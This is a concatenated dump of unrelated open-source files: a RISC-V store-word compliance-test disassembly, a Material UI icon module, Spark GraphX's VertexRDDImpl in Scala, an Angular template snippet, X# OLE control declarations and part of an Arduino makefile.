158: 0080a183 lw gp,8(ra)
15c: 0000a623 sw zero,12(ra)
160: 00100413 li s0,1
164: 00c08b93 addi s7,ra,12
168: 830b8b93 addi s7,s7,-2000
16c: 7c8ba823 sw s0,2000(s7)
170: 00c0a183 lw gp,12(ra)
174: 0000a823 sw zero,16(ra)
178: fff00393 li t2,-1
17c: 01008b13 addi s6,ra,16
180: 830b0b13 addi s6,s6,-2000
184: 7c7b2823 sw t2,2000(s6)
188: 0100a183 lw gp,16(ra)
18c: 00002097 auipc ra,0x2
190: e9c08093 addi ra,ra,-356 # 2028 <test_3_res>
194: 0000a023 sw zero,0(ra)
198: 00001337 lui t1,0x1
19c: 23430313 addi t1,t1,564 # 1234 <fromhost+0x134>
1a0: 00008a93 mv s5,ra
1a4: 830a8a93 addi s5,s5,-2000
1a8: 7c6aa823 sw t1,2000(s5)
1ac: 0000a403 lw s0,0(ra)
1b0: 0000a223 sw zero,4(ra)
1b4: 800002b7 lui t0,0x80000
1b8: 00408a13 addi s4,ra,4
1bc: 000a0a13 mv s4,s4
1c0: 005a2023 sw t0,0(s4)
1c4: 0040a403 lw s0,4(ra)
1c8: 0000a423 sw zero,8(ra)
1cc: fffff237 lui tp,0xfffff
1d0: dcc20213 addi tp,tp,-564 # ffffedcc <_end+0xffffcbc8>
1d4: 00808993 addi s3,ra,8
1d8: 83098993 addi s3,s3,-2000
1dc: 7c49a823 sw tp,2000(s3)
1e0: 0080a403 lw s0,8(ra)
1e4: 0000a623 sw zero,12(ra)
1e8: fff00193 li gp,-1
1ec: 00c08913 addi s2,ra,12
1f0: 00190913 addi s2,s2,1
1f4: fe392fa3 sw gp,-1(s2)
1f8: 00c0a403 lw s0,12(ra)
1fc: 0000a823 sw zero,16(ra)
200: 80100113 li sp,-2047
204: 01008893 addi a7,ra,16
208: 00088893 mv a7,a7
20c: 0028a023 sw sp,0(a7)
210: 0100a403 lw s0,16(ra)
214: 00002117 auipc sp,0x2
218: e2810113 addi sp,sp,-472 # 203c <test_4_res>
21c: 00012023 sw zero,0(sp)
220: ffe00093 li ra,-2
224: 00010813 mv a6,sp
228: fff80813 addi a6,a6,-1
22c: 001820a3 sw ra,1(a6)
230: 00012203 lw tp,0(sp)
234: 00012223 sw zero,4(sp)
238: fff00013 li zero,-1
23c: 00410793 addi a5,sp,4
240: 7d078793 addi a5,a5,2000
244: 8207a823 sw zero,-2000(a5)
248: 00412203 lw tp,4(sp)
24c: 00012423 sw zero,8(sp)
250: 00100f93 li t6,1
254: 00810713 addi a4,sp,8
258: 00070713 mv a4,a4
25c: 01f72023 sw t6,0(a4)
260: 00812203 lw tp,8(sp)
264: 00012623 sw zero,12(sp)
268: 00000f13 li t5,0
26c: 00c10693 addi a3,sp,12
270: 00168693 addi a3,a3,1
274: ffe6afa3 sw t5,-1(a3)
278: 00c12203 lw tp,12(sp)
27c: 00012823 sw zero,16(sp)
280: 7ff00e93 li t4,2047
284: 01010613 addi a2,sp,16
288: 7d060613 addi a2,a2,2000
28c: 83d62823 sw t4,-2000(a2)
290: 01012203 lw tp,16(sp)
294: 00002097 auipc ra,0x2
298: dbc08093 addi ra,ra,-580 # 2050 <test_5_res>
29c: 0000a023 sw zero,0(ra)
2a0: 00000e13 li t3,0
2a4: 00008593 mv a1,ra
2a8: 83058593 addi a1,a1,-2000
2ac: 7dc5a823 sw t3,2000(a1)
2b0: 0000a183 lw gp,0(ra)
2b4: 0000a223 sw zero,4(ra)
2b8: 00001db7 lui s11,0x1
2bc: 800d8d93 addi s11,s11,-2048 # 800 <end_testcode+0x3dc>
2c0: 00408513 addi a0,ra,4
2c4: 83050513 addi a0,a0,-2000
2c8: 7db52823 sw s11,2000(a0)
2cc: 0040a183 lw gp,4(ra)
2d0: 0000a423 sw zero,8(ra)
2d4: 07654d37 lui s10,0x7654
2d8: 321d0d13 addi s10,s10,801 # 7654321 <_end+0x765211d>
2dc: 00808493 addi s1,ra,8
2e0: 83048493 addi s1,s1,-2000
2e4: 7da4a823 sw s10,2000(s1)
2e8: 0080a183 lw gp,8(ra)
2ec: 0000a623 sw zero,12(ra)
2f0: 80000cb7 lui s9,0x80000
2f4: fffc8c93 addi s9,s9,-1 # 7fffffff <_end+0x7fffddfb>
2f8: 00c08413 addi s0,ra,12
2fc: fff40413 addi s0,s0,-1
300: 019420a3 sw s9,1(s0)
304: 00c0a183 lw gp,12(ra)
308: 0000a823 sw zero,16(ra)
30c: 00100c13 li s8,1
310: 01008393 addi t2,ra,16
314: 83038393 addi t2,t2,-2000
318: 7d83a823 sw s8,2000(t2)
31c: 0100a183 lw gp,16(ra)
320: 00002097 auipc ra,0x2
324: d4408093 addi ra,ra,-700 # 2064 <test_6_res>
328: 0000a023 sw zero,0(ra)
32c: fff00b93 li s7,-1
330: 00008313 mv t1,ra
334: 83030313 addi t1,t1,-2000
338: 7d732823 sw s7,2000(t1)
33c: 0000a403 lw s0,0(ra)
340: 0000a223 sw zero,4(ra)
344: 00001b37 lui s6,0x1
348: 234b0b13 addi s6,s6,564 # 1234 <fromhost+0x134>
34c: 00408293 addi t0,ra,4
350: 83028293 addi t0,t0,-2000 # 7ffff830 <_end+0x7fffd62c>
354: 7d62a823 sw s6,2000(t0)
358: 0040a403 lw s0,4(ra)
35c: 0000a423 sw zero,8(ra)
360: 80000ab7 lui s5,0x80000
364: 00808213 addi tp,ra,8
368: 00020213 mv tp,tp
36c: 01522023 sw s5,0(tp) # 0 <_start>
370: 0080a403 lw s0,8(ra)
374: 0000a623 sw zero,12(ra)
378: fffffa37 lui s4,0xfffff
37c: dcca0a13 addi s4,s4,-564 # ffffedcc <_end+0xffffcbc8>
380: 00c08193 addi gp,ra,12
384: 83018193 addi gp,gp,-2000
388: 7d41a823 sw s4,2000(gp)
38c: 00c0a403 lw s0,12(ra)
390: 0000a823 sw zero,16(ra)
394: fff00993 li s3,-1
398: 01008113 addi sp,ra,16
39c: 00110113 addi sp,sp,1
3a0: ff312fa3 sw s3,-1(sp)
3a4: 0100a403 lw s0,16(ra)
3a8: 00002117 auipc sp,0x2
3ac: cd010113 addi sp,sp,-816 # 2078 <test_7_res>
3b0: 00012023 sw zero,0(sp)
3b4: 80100913 li s2,-2047
3b8: 00010093 mv ra,sp
3bc: 00008093 mv ra,ra
3c0: 0120a023 sw s2,0(ra)
3c4: 00012203 lw tp,0(sp)
3c8: 00012223 sw zero,4(sp)
3cc: ffe00893 li a7,-2
3d0: 00410093 addi ra,sp,4
3d4: fff08093 addi ra,ra,-1
3d8: 0110a0a3 sw a7,1(ra)
3dc: 00412203 lw tp,4(sp)
3e0: 00002297 auipc t0,0x2
3e4: c2028293 addi t0,t0,-992 # 2000 <begin_signature>
3e8: 10000337 lui t1,0x10000
3ec: 00830313 addi t1,t1,8 # 10000008 <_end+0xfffde04>
3f0: 00532023 sw t0,0(t1)
3f4: 00002297 auipc t0,0x2
3f8: c9c28293 addi t0,t0,-868 # 2090 <end_signature>
3fc: 10000337 lui t1,0x10000
400: 00c30313 addi t1,t1,12 # 1000000c <_end+0xfffde08>
404: 00532023 sw t0,0(t1)
408: 00100293 li t0,1
40c: 10000337 lui t1,0x10000
410: 01030313 addi t1,t1,16 # 10000010 <_end+0xfffde0c>
414: 00532023 sw t0,0(t1)
418: 00000013 nop
41c: 00100193 li gp,1
420: 00000073 ecall
00000424 <end_testcode>:
424: c0001073 unimp
...
Disassembly of section .tohost:
00001000 <tohost>:
...
00001100 <fromhost>:
...
Disassembly of section .data:
00002000 <begin_signature>:
2000: ffff 0xffff
2002: ffff 0xffff
2004: ffff 0xffff
2006: ffff 0xffff
2008: ffff 0xffff
200a: ffff 0xffff
200c: ffff 0xffff
200e: ffff 0xffff
2010: ffff 0xffff
2012: ffff 0xffff
00002014 <test_2_res>:
2014: ffff 0xffff
2016: ffff 0xffff
2018: ffff 0xffff
201a: ffff 0xffff
201c: ffff 0xffff
201e: ffff 0xffff
2020: ffff 0xffff
2022: ffff 0xffff
2024: ffff 0xffff
2026: ffff 0xffff
00002028 <test_3_res>:
2028: ffff 0xffff
202a: ffff 0xffff
202c: ffff 0xffff
202e: ffff 0xffff
2030: ffff 0xffff
2032: ffff 0xffff
2034: ffff 0xffff
2036: ffff 0xffff
2038: ffff 0xffff
203a: ffff 0xffff
0000203c <test_4_res>:
203c: ffff 0xffff
203e: ffff 0xffff
2040: ffff 0xffff
2042: ffff 0xffff
2044: ffff 0xffff
2046: ffff 0xffff
2048: ffff 0xffff
204a: ffff 0xffff
204c: ffff 0xffff
204e: ffff 0xffff
00002050 <test_5_res>:
2050: ffff 0xffff
2052: ffff 0xffff
2054: ffff 0xffff
2056: ffff 0xffff
2058: ffff 0xffff
205a: ffff 0xffff
205c: ffff 0xffff
205e: ffff 0xffff
2060: ffff 0xffff
2062: ffff 0xffff
00002064 <test_6_res>:
2064: ffff 0xffff
2066: ffff 0xffff
2068: ffff 0xffff
206a: ffff 0xffff
206c: ffff 0xffff
206e: ffff 0xffff
2070: ffff 0xffff
2072: ffff 0xffff
2074: ffff 0xffff
2076: ffff 0xffff
00002078 <test_7_res>:
2078: ffff 0xffff
207a: ffff 0xffff
207c: ffff 0xffff
207e: ffff 0xffff
2080: ffff 0xffff
2082: ffff 0xffff
2084: ffff 0xffff
2086: ffff 0xffff
2088: ffff 0xffff
208a: ffff 0xffff
208c: 0000 unimp
...
00002090 <end_signature>:
...
00002100 <begin_regstate>:
2100: 0080 addi s0,sp,64
...
00002200 <end_regstate>:
2200: 0004 0x4
...
| ObjDump | 3 | DuBirdFly/TinyRISCV_Learn | tests/riscv-compliance/build_generated/rv32i/I-SW-01.elf.objdump | [
"Apache-2.0"
] |
import createSvgIcon from './utils/createSvgIcon';
import { jsx as _jsx } from "react/jsx-runtime";
export default createSvgIcon( /*#__PURE__*/_jsx("path", {
d: "M22 6.98V16c0 1.1-.9 2-2 2H6l-4 4V4c0-1.1.9-2 2-2h10.1c-.06.32-.1.66-.1 1s.04.68.1 1H4v12h16V7.9c.74-.15 1.42-.48 2-.92zM16 3c0 1.66 1.34 3 3 3s3-1.34 3-3-1.34-3-3-3-3 1.34-3 3z"
}), 'MarkChatUnreadOutlined'); | JavaScript | 4 | good-gym/material-ui | packages/material-ui-icons/lib/esm/MarkChatUnreadOutlined.js | [
"MIT"
] |
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.spark.graphx.impl
import scala.reflect.ClassTag
import org.apache.spark._
import org.apache.spark.graphx._
import org.apache.spark.rdd._
import org.apache.spark.storage.StorageLevel
class VertexRDDImpl[VD] private[graphx] (
@transient val partitionsRDD: RDD[ShippableVertexPartition[VD]],
val targetStorageLevel: StorageLevel = StorageLevel.MEMORY_ONLY)
(implicit override protected val vdTag: ClassTag[VD])
extends VertexRDD[VD](partitionsRDD.context, List(new OneToOneDependency(partitionsRDD))) {
require(partitionsRDD.partitioner.isDefined)
override def reindex(): VertexRDD[VD] = this.withPartitionsRDD(partitionsRDD.map(_.reindex()))
override val partitioner = partitionsRDD.partitioner
override protected def getPreferredLocations(s: Partition): Seq[String] =
partitionsRDD.preferredLocations(s)
override def setName(_name: String): this.type = {
if (partitionsRDD.name != null) {
partitionsRDD.setName(partitionsRDD.name + ", " + _name)
} else {
partitionsRDD.setName(_name)
}
this
}
setName("VertexRDD")
/**
* Persists the vertex partitions at the specified storage level, ignoring any existing target
* storage level.
*/
override def persist(newLevel: StorageLevel): this.type = {
partitionsRDD.persist(newLevel)
this
}
override def unpersist(blocking: Boolean = false): this.type = {
partitionsRDD.unpersist(blocking)
this
}
/**
* Persists the vertex partitions at `targetStorageLevel`, which defaults to MEMORY_ONLY.
*/
override def cache(): this.type = {
partitionsRDD.persist(targetStorageLevel)
this
}
override def getStorageLevel: StorageLevel = partitionsRDD.getStorageLevel
override def checkpoint(): Unit = {
partitionsRDD.checkpoint()
}
override def isCheckpointed: Boolean = {
firstParent[ShippableVertexPartition[VD]].isCheckpointed
}
override def getCheckpointFile: Option[String] = {
partitionsRDD.getCheckpointFile
}
/** The number of vertices in the RDD. */
override def count(): Long = {
partitionsRDD.map(_.size.toLong).fold(0)(_ + _)
}
override private[graphx] def mapVertexPartitions[VD2: ClassTag](
f: ShippableVertexPartition[VD] => ShippableVertexPartition[VD2])
: VertexRDD[VD2] = {
val newPartitionsRDD = partitionsRDD.mapPartitions(_.map(f), preservesPartitioning = true)
this.withPartitionsRDD(newPartitionsRDD)
}
override def mapValues[VD2: ClassTag](f: VD => VD2): VertexRDD[VD2] =
this.mapVertexPartitions(_.map((vid, attr) => f(attr)))
override def mapValues[VD2: ClassTag](f: (VertexId, VD) => VD2): VertexRDD[VD2] =
this.mapVertexPartitions(_.map(f))
override def minus(other: RDD[(VertexId, VD)]): VertexRDD[VD] = {
minus(this.aggregateUsingIndex(other, (a: VD, b: VD) => a))
}
override def minus (other: VertexRDD[VD]): VertexRDD[VD] = {
other match {
case other: VertexRDD[_] if this.partitioner == other.partitioner =>
this.withPartitionsRDD[VD](
partitionsRDD.zipPartitions(
other.partitionsRDD, preservesPartitioning = true) {
(thisIter, otherIter) =>
val thisPart = thisIter.next()
val otherPart = otherIter.next()
Iterator(thisPart.minus(otherPart))
})
case _ =>
this.withPartitionsRDD[VD](
partitionsRDD.zipPartitions(
other.partitionBy(this.partitioner.get), preservesPartitioning = true) {
(partIter, msgs) => partIter.map(_.minus(msgs))
}
)
}
}
override def diff(other: RDD[(VertexId, VD)]): VertexRDD[VD] = {
diff(this.aggregateUsingIndex(other, (a: VD, b: VD) => a))
}
override def diff(other: VertexRDD[VD]): VertexRDD[VD] = {
val otherPartition = other match {
case other: VertexRDD[_] if this.partitioner == other.partitioner =>
other.partitionsRDD
case _ =>
VertexRDD(other.partitionBy(this.partitioner.get)).partitionsRDD
}
val newPartitionsRDD = partitionsRDD.zipPartitions(
otherPartition, preservesPartitioning = true
) { (thisIter, otherIter) =>
val thisPart = thisIter.next()
val otherPart = otherIter.next()
Iterator(thisPart.diff(otherPart))
}
this.withPartitionsRDD(newPartitionsRDD)
}
override def leftZipJoin[VD2: ClassTag, VD3: ClassTag]
(other: VertexRDD[VD2])(f: (VertexId, VD, Option[VD2]) => VD3): VertexRDD[VD3] = {
val newPartitionsRDD = partitionsRDD.zipPartitions(
other.partitionsRDD, preservesPartitioning = true
) { (thisIter, otherIter) =>
val thisPart = thisIter.next()
val otherPart = otherIter.next()
Iterator(thisPart.leftJoin(otherPart)(f))
}
this.withPartitionsRDD(newPartitionsRDD)
}
override def leftJoin[VD2: ClassTag, VD3: ClassTag]
(other: RDD[(VertexId, VD2)])
(f: (VertexId, VD, Option[VD2]) => VD3)
: VertexRDD[VD3] = {
// Test if the other vertex is a VertexRDD to choose the optimal join strategy.
// If the other set is a VertexRDD then we use the much more efficient leftZipJoin
other match {
case other: VertexRDD[_] if this.partitioner == other.partitioner =>
leftZipJoin(other)(f)
case _ =>
this.withPartitionsRDD[VD3](
partitionsRDD.zipPartitions(
other.partitionBy(this.partitioner.get), preservesPartitioning = true) {
(partIter, msgs) => partIter.map(_.leftJoin(msgs)(f))
}
)
}
}
override def innerZipJoin[U: ClassTag, VD2: ClassTag](other: VertexRDD[U])
(f: (VertexId, VD, U) => VD2): VertexRDD[VD2] = {
val newPartitionsRDD = partitionsRDD.zipPartitions(
other.partitionsRDD, preservesPartitioning = true
) { (thisIter, otherIter) =>
val thisPart = thisIter.next()
val otherPart = otherIter.next()
Iterator(thisPart.innerJoin(otherPart)(f))
}
this.withPartitionsRDD(newPartitionsRDD)
}
override def innerJoin[U: ClassTag, VD2: ClassTag](other: RDD[(VertexId, U)])
(f: (VertexId, VD, U) => VD2): VertexRDD[VD2] = {
// Test if the other vertex is a VertexRDD to choose the optimal join strategy.
// If the other set is a VertexRDD then we use the much more efficient innerZipJoin
other match {
case other: VertexRDD[_] if this.partitioner == other.partitioner =>
innerZipJoin(other)(f)
case _ =>
this.withPartitionsRDD(
partitionsRDD.zipPartitions(
other.partitionBy(this.partitioner.get), preservesPartitioning = true) {
(partIter, msgs) => partIter.map(_.innerJoin(msgs)(f))
}
)
}
}
override def aggregateUsingIndex[VD2: ClassTag](
messages: RDD[(VertexId, VD2)], reduceFunc: (VD2, VD2) => VD2): VertexRDD[VD2] = {
val shuffled = messages.partitionBy(this.partitioner.get)
val parts = partitionsRDD.zipPartitions(shuffled, true) { (thisIter, msgIter) =>
thisIter.map(_.aggregateUsingIndex(msgIter, reduceFunc))
}
this.withPartitionsRDD[VD2](parts)
}
override def reverseRoutingTables(): VertexRDD[VD] =
this.mapVertexPartitions(vPart => vPart.withRoutingTable(vPart.routingTable.reverse))
override def withEdges(edges: EdgeRDD[_]): VertexRDD[VD] = {
val routingTables = VertexRDD.createRoutingTables(edges, this.partitioner.get)
val vertexPartitions = partitionsRDD.zipPartitions(routingTables, true) {
(partIter, routingTableIter) =>
val routingTable =
if (routingTableIter.hasNext) routingTableIter.next() else RoutingTablePartition.empty
partIter.map(_.withRoutingTable(routingTable))
}
this.withPartitionsRDD(vertexPartitions)
}
override private[graphx] def withPartitionsRDD[VD2: ClassTag](
partitionsRDD: RDD[ShippableVertexPartition[VD2]]): VertexRDD[VD2] = {
new VertexRDDImpl(partitionsRDD, this.targetStorageLevel)
}
override private[graphx] def withTargetStorageLevel(
targetStorageLevel: StorageLevel): VertexRDD[VD] = {
new VertexRDDImpl(this.partitionsRDD, targetStorageLevel)
}
override private[graphx] def shipVertexAttributes(
shipSrc: Boolean, shipDst: Boolean): RDD[(PartitionID, VertexAttributeBlock[VD])] = {
partitionsRDD.mapPartitions(_.flatMap(_.shipVertexAttributes(shipSrc, shipDst)))
}
override private[graphx] def shipVertexIds(): RDD[(PartitionID, Array[VertexId])] = {
partitionsRDD.mapPartitions(_.flatMap(_.shipVertexIds()))
}
}
| Scala | 5 | OlegPt/spark | graphx/src/main/scala/org/apache/spark/graphx/impl/VertexRDDImpl.scala | [
"Apache-2.0"
] |
<div class="section">
<h2>@SkipSelf() Component</h2>
<p>Leaf emoji: {{leaf.emoji}}</p>
</div>
| HTML | 2 | coreyscherbing/angular | aio/content/examples/resolution-modifiers/src/app/skipself/skipself.component.html | [
"MIT"
] |
VOSTRUCT _winPOINTF
MEMBER x AS REAL4
MEMBER y AS REAL4
VOSTRUCT _winCONTROLINFO
MEMBER cb AS DWORD
MEMBER hAccel AS PTR
MEMBER cAccel AS WORD
MEMBER dwFlags AS DWORD
VOSTRUCT _winCONNECTDATA
MEMBER pUnk AS PTR
MEMBER dwCookie AS DWORD
VOSTRUCT _winLICINFO
MEMBER cbLicInfo AS LONGINT
MEMBER fRuntimeKeyAvail AS LOGIC
MEMBER fLicVerified AS LOGIC
VOSTRUCT _WINCAUUID
MEMBER cElems AS DWORD
MEMBER pElems AS _winGUID
VOSTRUCT tagCALPOLESTR
MEMBER cElems AS DWORD
MEMBER pElems AS PSZ
VOSTRUCT _winCADWORD
MEMBER cElems AS DWORD
MEMBER pElems AS DWORD PTR
VOSTRUCT _winOCPFIPARAMS
MEMBER cbStructSize AS DWORD
MEMBER hWndOwner AS PTR
MEMBER x AS INT
MEMBER y AS INT
MEMBER lpszCaption AS PSZ
MEMBER cObjects AS DWORD
MEMBER lplpUnk AS PTR
MEMBER cPages AS DWORD
MEMBER lpPages AS _winGUID
MEMBER lcid AS DWORD
MEMBER dispidInitialProperty AS LONGINT
VOSTRUCT winPROPPAGEINFO
MEMBER cb AS DWORD
MEMBER pszTitle AS PSZ
MEMBER size IS _winSize
MEMBER pszDocString AS PSZ
MEMBER pszHelpFile AS PSZ
MEMBER dwHelpContext AS DWORD
VOSTRUCT _winFONTDESC
MEMBER cbSizeofstruct AS DWORD
MEMBER lpstrName AS PSZ
MEMBER cySize IS _wincy
MEMBER sWeight AS SHORTINT
MEMBER sCharset AS SHORTINT
MEMBER fItalic AS LOGIC
MEMBER fUnderline AS LOGIC
MEMBER fStrikethrough AS LOGIC
VOSTRUCT bmp_win
MEMBER hbitmap AS PTR
MEMBER hpal AS PTR
VOSTRUCT wmf_win
MEMBER hmeta AS PTR
MEMBER xExt AS INT
MEMBER yExt AS INT
VOSTRUCT icon_win
MEMBER hicon AS PTR
VOSTRUCT _winPICTDESC
MEMBER cbSizeofstruct AS DWORD
MEMBER picType AS DWORD
MEMBER uPICTDESC IS uPICTDESC_win
_DLL FUNC OleCreatePropertyFrame(hwndOwner AS PTR, x AS DWORD, y AS DWORD,;
lpszCaption AS PSZ, cObjects AS DWORD, ppUnk AS PTR,;
cPages AS DWORD, pPageClsId AS _winGUID, lcid AS DWORD,;
dwReserved AS DWORD, prReserved AS PTR) AS LONG PASCAL:MFCANS32.OleCreatePropertyFrame
_DLL FUNC OleCreatePropertyFrameIndirect(lpParams AS _winOCPFIPARAMS);
AS LONG PASCAL:MFCANS32.OleCreatePropertyFrameIndirect
_DLL FUNC OleTranslateColor(clr AS DWORD, hpal AS PTR, lpcolorref AS DWORD);
AS LONG PASCAL:OLEPRO32.OleTranslateColor
_DLL FUNC OleCreateFontIndirect( lpFontdesc AS _winFontDesc, riid AS _winGUID,;
lplpvpbj AS PTR) AS LONG PASCAL:MFCANS32.OleCreateFontIndirect
UNION uPICTDESC_win
MEMBER bmp IS bmp_win
MEMBER wmf IS wmf_win
MEMBER icon IS icon_win
#region defines
DEFINE triUnchecked := 0
DEFINE triChecked := 1
DEFINE triGray := 2
DEFINE VT_STREAMED_PROPSET := 73
DEFINE VT_STORED_PROPSET :=74
DEFINE VT_BLOB_PROPSET :=75
DEFINE VT_VERBOSE_ENUM :=76
DEFINE VT_COLOR := 3
DEFINE VT_XPOS_PIXELS := 3
DEFINE VT_YPOS_PIXELS := 3
DEFINE VT_XSIZE_PIXELS := 3
DEFINE VT_YSIZE_PIXELS := 3
DEFINE VT_XPOS_HIMETRIC := 3
DEFINE VT_YPOS_HIMETRIC := 3
DEFINE VT_XSIZE_HIMETRIC := 3
DEFINE VT_YSIZE_HIMETRIC := 3
DEFINE VT_TRISTATE := 2
DEFINE VT_OPTEXCLUSIVE := 11
DEFINE VT_FONT := 9
DEFINE VT_PICTURE := 9
DEFINE VT_HANDLE := 3
DEFINE OCM__BASE := (WM_USER+0x1c00)
DEFINE OCM_COMMAND := (OCM__BASE + WM_COMMAND)
DEFINE OCM_CTLCOLORBTN := (OCM__BASE + WM_CTLCOLORBTN)
DEFINE OCM_CTLCOLOREDIT := (OCM__BASE + WM_CTLCOLOREDIT)
DEFINE OCM_CTLCOLORDLG := (OCM__BASE + WM_CTLCOLORDLG)
DEFINE OCM_CTLCOLORLISTBOX := (OCM__BASE + WM_CTLCOLORLISTBOX)
DEFINE OCM_CTLCOLORMSGBOX := (OCM__BASE + WM_CTLCOLORMSGBOX)
DEFINE OCM_CTLCOLORSCROLLBAR := (OCM__BASE + WM_CTLCOLORSCROLLBAR)
DEFINE OCM_CTLCOLORSTATIC := (OCM__BASE + WM_CTLCOLORSTATIC)
DEFINE OCM_DRAWITEM := (OCM__BASE + WM_DRAWITEM)
DEFINE OCM_MEASUREITEM := (OCM__BASE + WM_MEASUREITEM)
DEFINE OCM_DELETEITEM := (OCM__BASE + WM_DELETEITEM)
DEFINE OCM_VKEYTOITEM := (OCM__BASE + WM_VKEYTOITEM)
DEFINE OCM_CHARTOITEM := (OCM__BASE + WM_CHARTOITEM)
DEFINE OCM_COMPAREITEM := (OCM__BASE + WM_COMPAREITEM)
DEFINE OCM_HSCROLL := (OCM__BASE + WM_HSCROLL)
DEFINE OCM_VSCROLL := (OCM__BASE + WM_VSCROLL)
DEFINE OCM_PARENTNOTIFY := (OCM__BASE + WM_PARENTNOTIFY)
DEFINE CTRLINFO_EATS_RETURN := 1
DEFINE CTRLINFO_EATS_ESCAPE := 2
DEFINE XFORMCOORDS_POSITION := 0x1
DEFINE XFORMCOORDS_SIZE := 0x2
DEFINE XFORMCOORDS_HIMETRICTOCONTAINER := 0x4
DEFINE XFORMCOORDS_CONTAINERTOHIMETRIC := 0x8
DEFINE PROPPAGESTATUS_DIRTY := 0x1
DEFINE PROPPAGESTATUS_VALIDATE := 0x2
DEFINE PICTURE_SCALABLE := 0x1l
DEFINE PICTURE_TRANSPARENT := 0x2l
DEFINE PICTYPE_UNINITIALIZED := DWORD(_CAST, 0xffffffff)
DEFINE PICTYPE_NONE := 0
DEFINE PICTYPE_BITMAP := 1
DEFINE PICTYPE_METAFILE := 2
DEFINE PICTYPE_ICON := 3
DEFINE DISPID_AUTOSIZE := (-500)
DEFINE DISPID_BACKCOLOR := (-501)
DEFINE DISPID_BACKSTYLE := (-502)
DEFINE DISPID_BORDERCOLOR := (-503)
DEFINE DISPID_BORDERSTYLE := (-504)
DEFINE DISPID_BORDERWIDTH := (-505)
DEFINE DISPID_DRAWMODE := (-507)
DEFINE DISPID_DRAWSTYLE := (-508)
DEFINE DISPID_DRAWWIDTH := (-509)
DEFINE DISPID_FILLCOLOR := (-510)
DEFINE DISPID_FILLSTYLE := (-511)
DEFINE DISPID_FONT := (-512)
DEFINE DISPID_FORECOLOR := (-513)
DEFINE DISPID_ENABLED := (-514)
DEFINE DISPID_HWND := (-515)
DEFINE DISPID_TABSTOP := (-516)
DEFINE DISPID_TEXT := (-517)
DEFINE DISPID_CAPTION := (-518)
DEFINE DISPID_BORDERVISIBLE := (-519)
DEFINE DISPID_REFRESH := (-550)
DEFINE DISPID_DOCLICK := (-551)
DEFINE DISPID_ABOUTBOX := (-552)
DEFINE DISPID_CLICK := (-600)
DEFINE DISPID_DBLCLICK := (-601)
DEFINE DISPID_KEYDOWN := (-602)
DEFINE DISPID_KEYPRESS := (-603)
DEFINE DISPID_KEYUP := (-604)
DEFINE DISPID_MOUSEDOWN := (-605)
DEFINE DISPID_MOUSEMOVE := (-606)
DEFINE DISPID_MOUSEUP := (-607)
DEFINE DISPID_ERROREVENT := (-608)
DEFINE DISPID_AMBIENT_BACKCOLOR := (-701)
DEFINE DISPID_AMBIENT_DISPLAYNAME := (-702)
DEFINE DISPID_AMBIENT_FONT := (-703)
DEFINE DISPID_AMBIENT_FORECOLOR := (-704)
DEFINE DISPID_AMBIENT_LOCALEID := (-705)
DEFINE DISPID_AMBIENT_MESSAGEREFLECT := (-706)
DEFINE DISPID_AMBIENT_SCALEUNITS := (-707)
DEFINE DISPID_AMBIENT_TEXTALIGN := (-708)
DEFINE DISPID_AMBIENT_USERMODE := (-709)
DEFINE DISPID_AMBIENT_UIDEAD := (-710)
DEFINE DISPID_AMBIENT_SHOWGRABHANDLES := (-711)
DEFINE DISPID_AMBIENT_SHOWHATCHING := (-712)
DEFINE DISPID_AMBIENT_DISPLAYASDEFAULT := (-713)
DEFINE DISPID_AMBIENT_SUPPORTSMNEMONICS := (-714)
DEFINE DISPID_AMBIENT_AUTOCLIP := (-715)
DEFINE DISPID_FONT_NAME := 0
DEFINE DISPID_FONT_SIZE := 2
DEFINE DISPID_FONT_BOLD := 3
DEFINE DISPID_FONT_ITALIC := 4
DEFINE DISPID_FONT_UNDER := 5
DEFINE DISPID_FONT_STRIKE := 6
DEFINE DISPID_FONT_WEIGHT := 7
DEFINE DISPID_FONT_CHARSET := 8
DEFINE DISPID_PICT_HANDLE := 0
DEFINE DISPID_PICT_HPAL := 2
DEFINE DISPID_PICT_TYPE := 3
DEFINE DISPID_PICT_WIDTH := 4
DEFINE DISPID_PICT_HEIGHT := 5
DEFINE DISPID_PICT_RENDER := 6
DEFINE STDOLE_TLB := "stdole32.tlb"
DEFINE STDTYPE_TLB := "oc30d.dll"
#endregion
| xBase | 3 | JohanNel/XSharpPublic | Runtime/VOSDK/Source/VOSDK/Win32_API_Library_SDK/OLE Control.prg | [
"Apache-2.0"
] |
#
# Makefile.180 for Arduino/AVR
#
# Note:
# Display list make database: make -p -f/dev/null | less
# Install path of the arduino software. Requires a '/' at the end.
ARDUINO_PATH:=/home/kraus/prg/arduino-1.8.4/
# Board (and prozessor) information: see $(ARDUINO_PATH)hardware/arduino/avr/boards.txt
# Some examples:
# BOARD DESCRIPTION
# uno Arduino Uno
# atmega328 Arduino Duemilanove or Nano w/ ATmega328
# diecimila Arduino Diecimila, Duemilanove, or Nano w/ ATmega168
# mega Arduino Mega
# mega2560 Arduino Mega2560
# mini Arduino Mini
# lilypad328 LilyPad Arduino w/ ATmega328
BOARD:=uno
# The unix device where we can reach the arduino board
# Uno: /dev/ttyACM0
# Duemilanove: /dev/ttyUSB0
AVRDUDE_PORT:=/dev/ttyACM0
SRC_DIRS=$(ARDUINO_PATH)hardware/arduino/avr/cores/arduino/
SRC_DIRS+=$(ARDUINO_PATH)hardware/arduino/avr/libraries/SPI/src/
SRC_DIRS+=$(ARDUINO_PATH)hardware/arduino/avr/libraries/SPI/src/utility/
SRC_DIRS+=$(ARDUINO_PATH)hardware/arduino/avr/libraries/Wire/src/
SRC_DIRS+=$(ARDUINO_PATH)hardware/arduino/avr/libraries/Wire/src/utility/
SRC_DIRS+=../../../csrc/
SRC_DIRS+=../../../cppsrc/
#=== suffixes ===
.SUFFIXES: .elf .hex .ino
#=== identify user files ===
INOSRC:=$(shell ls *.ino)
TARGETNAME=$(basename $(INOSRC))
#=== internal names ===
LIBNAME:=$(TARGETNAME).a
ELFNAME:=$(TARGETNAME).elf
HEXNAME:=$(TARGETNAME).hex
